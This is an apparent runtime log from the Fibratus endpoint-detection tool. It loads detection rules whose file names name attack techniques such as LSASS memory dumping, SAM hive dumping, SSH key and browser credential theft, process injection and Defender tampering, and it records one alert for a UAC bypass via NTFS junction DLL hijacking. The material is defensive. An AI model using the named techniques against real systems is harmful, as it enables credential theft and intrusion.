+time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:01:05+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T16:01:05+01:00 level=info msg=bootstrapping with pid 17968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:01:05+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false to=>[] content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-thread=>true enable-net=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-threadpool=>false enable-audit-api=>true enable-image=>true enable-mem=>false enable-registry=>true max-buffers=>36 flush-interval=>1s buffer-size=>512 stack-enrichment=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-size=>100 formatter=>text max-age=>0 max-backups=>15] + output ......................... [ http=>[ serializer=>json enable-gzip=>false enabled=>false timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ exchange-type=>topic durable=>false timeout=>5s enabled=>false] elasticsearch=>[ sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus flush-period=>1s trace-log=>false healthcheck-interval=>10s gzip-compression=>false enabled=>false timeout=>5s bulk-workers=>1 index-name=>fibratus healthcheck-timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false scan-timeout=>10s enabled=>false skip-allocs=>false excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:01:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:01:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:01:28+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-11-21T16:01:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:01:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:01:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:02:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T16:02:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T16:02:23+01:00 level=info msg=bootstrapping with pid 11240. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T16:02:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false flush-interval=>1s enable-registry=>true min-buffers=>16 enable-handle=>false enable-fileio=>true enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-thread=>true max-buffers=>36 enable-net=>true enable-image=>true stack-enrichment=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true formatter=>text] + output ......................... [ amqp=>[ enabled=>false exchange-type=>topic durable=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus delivery-mode=>transient] http=>[ serializer=>json tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 trace-log=>false index-name=>fibratus enabled=>false template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true timeout=>5s gzip-compression=>false sniff=>false flush-period=>1s] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true scan-timeout=>10s skip-files=>false excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-registry=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T16:02:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:02:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T16:03:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T16:03:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:03:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T16:04:09+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T16:04:09+01:00 